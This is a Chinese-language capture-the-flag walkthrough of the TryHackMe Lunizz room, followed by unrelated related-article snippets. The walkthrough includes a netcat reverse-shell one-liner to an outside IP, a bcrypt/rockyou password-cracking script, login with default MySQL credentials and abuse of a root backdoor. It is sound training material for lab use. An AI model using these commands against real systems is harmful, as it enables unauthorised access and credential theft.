TryHackMe-Lunizz CTF(boot2root)

news/2024/5/18 21:51:46 标签: TryHackMe, linux渗透测试, boot2root, web安全, 枚举

Lunizz CTF


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进80,apache默认页面

在这里插入图片描述

gobuster扫一下目录

在这里插入图片描述

/hidden一个文件上传点, 图片上传后无权访问/hidden/uploads/

在这里插入图片描述

/whatever一个假的命令执行点

在这里插入图片描述

/instructions.txt

由 CTF_SCRIPTS_CAVE 制作(不是真实的)

感谢您安装我们的 ctf 脚本

#脚步
- 创建一个 mysql 用户 (runcheck:CTF_*****************me)
- 更改 config.php 文件的必要行

完成后就可以开始使用 ctf 脚本了

#笔记
请不要使用默认凭据(这很危险)<<<<<<<<<------------------------ 阅读此行 请

得到了一组mysql默认凭据,我相信他会使用默认凭据的,尝试登录mysql

在这里插入图片描述

里面有个runornot的库

在这里插入图片描述

除了这些,已经没有其他东西了,也无法读写文件

我注意到房间提起刚刚的假命令执行点,

从runcheck表当中的run字段,根据多年的编程经验,它可能就是一个开关,用于激活命令执行点

update runcheck set run=1;

在这里插入图片描述

成功执行命令,猜测没错

在这里插入图片描述

直接reverse shell payload

mkfifo /tmp/f1;nc 10.14.39.48 8888 < /tmp/f1 | /bin/bash > /tmp/f1

在这里插入图片描述

横向移动 - 1

在根目录发现了adam用户的文件夹proct,里面有个python文件

在这里插入图片描述

查看该文件

在这里插入图片描述

我尝试着爆破,但没成功,发现它加了随机的salt,而下面给出了整个hash,并且包含了那个salt,即前22位,我们可以用rockyou加salt来爆破出明文密码

值得注意的是我们还需要进行base64 encode

import bcrypt
import base64


salt = b'$2b$12$LJ3m4rzPGmuN1U/h0IO55.'
hashs = b'$2b$12$LJ3m4rzPGmuN1U/h0IO55.3h9WhI/A0Rcbchmvk10KWRMWe4me81e'

with open('/usr/share/wordlists/rockyou.txt', 'r') as f:
    passwd_list = f.readlines()

for pwd in passwd_list:
    passwd = pwd.strip()
    b64_pwd = base64.b64encode(passwd.encode('ascii'))
    generated_hash = bcrypt.hashpw(b64_pwd, salt)
    print(f'Cracking...: {passwd}', end='\r')

    if generated_hash == hashs:
        print(f'\n{passwd}')
        break

爆出来

在这里插入图片描述

直接su过去

在这里插入图片描述

横向移动 - 2

在adam家目录下的Dekstop里面有个txt

在这里插入图片描述

打开它,地图所在的位置名字,尝试一番后,将其小写并且去掉空格就是mason的密码

在这里插入图片描述

user flag

在这里插入图片描述

权限提升

通过ss -tlnp发现内网开了个8080,使用ps查看进程是php并且是root

在这里插入图片描述

直接传个socat过去把它转出来

在这里插入图片描述

访问8888端口, 一个backdoor

在这里插入图片描述

使用mason的密码,并且使用passwd的cmdtype进行post请求,发现它似乎直接更改了root的密码为mason的密码

在这里插入图片描述

直接su到root,同时拿到root flag

在这里插入图片描述


http://www.niftyadmin.cn/n/276226.html

相关文章

Linux守护进程(Daemon Process)

1. 守护进程概念&#xff1a; 独立于终端控制并周期性地执行某些任务的后台进程。 2. 守护进程创建步骤&#xff1a; 核心&#xff1a;让进程脱离控制终端→创建新会话。 &#xff08;1&#xff09;创建子进程&#xff0c;父进程退出&#xff08;必须&#xff09;&#xff1b…

[架构之路-179]-《软考-系统分析师》-19- 系统可靠性分析与设计 - 故障模型、可靠性模型、可靠性分析

目录 前言&#xff1a; 1 9 . 1 系统可靠性概述 19.1.1 系统故障模型 1. 在信息系统中&#xff0c;故障或错误有如下儿种表现形式&#xff1a; 2. 故障的缘由 3. 故障模型 &#xff08;1&#xff09;逻辑电路级的故障 &#xff08;2&#xff09; 数据结构级的故障 &a…

k210点亮LED灯

开发板上自带的3个led灯接线如图。 点亮led灯主要使用两个模块&#xff0c;如下&#xff1a; fm.register(pin,function,forceFalse) 【pin】芯片外部 IO 【function】芯片功能 【force】True 则强制注册&#xff0c;清除之前的注册记录 例&#xff1a;fm.register(12, fm.f…

LVS +Keepalived 高可用群集部署

一、LVSKeepalived 高可用群集 在这个高度信息化的 IT 时代&#xff0c;企业的生产系统、业务运营、销售和支持&#xff0c;以及日常管理等环节越来越依赖于计算机信息和服务&#xff0c;对高可用&#xff08;HA&#xff09;技术的应用需求不断提高&#xff0c;以便提供持续的…

SQL 使用where字句条件查询

where字句使用 使用where字句可以限制select查寻结果中返回的行。必须满足where字句设置的条件的行才会返回&#xff0c;where字句跟着from之后。 语法格式&#xff1a; select clo,clo2,...from tablewhere condition 条件condition由列名、表达式、常数和比较运算符组成…

Packet Tracer - 配置 IPv6 静态路由和默认路由

Packet Tracer - 配置 IPv6 静态路由和默认路由 IPv6 地址分配表 设备 接口 IPv6 地址/前缀 默认网关 R1 G0/0 2001:DB8:1:1::1/64 不适用 S0/0/0 2001:DB8:1:A001::1/64 不适用 R2 G0/0 2001:DB8:1:2::1/64 不适用 S0/0/0 2001:DB8:1:A001::2/64 不适用 S0…

B/S结构系统的会话机制(session)

B/S结构系统的会话机制(session) 文章目录 B/S结构系统的会话机制(session)每博一文案1. session 会话机制的概述2. 什么是 session 的会话3. session 的作用4. session 的实现原理解释5. 补充&#xff1a; Cookie禁用了&#xff0c;session还能找到吗 &#xff1f;6. 总结一下…

端到端NVMe?| NVMe-OF或FC-NVMe

声明 主页&#xff1a;元存储的博客_CSDN博客 依公开知识及经验整理&#xff0c;如有误请留言。 个人辛苦整理&#xff0c;付费内容&#xff0c;禁止转载。 内容摘要 前言 NVMe全称是Nonvolatile Memory Express&#xff08;非易失性内存标准&#xff09;&#xff0c;在它首次…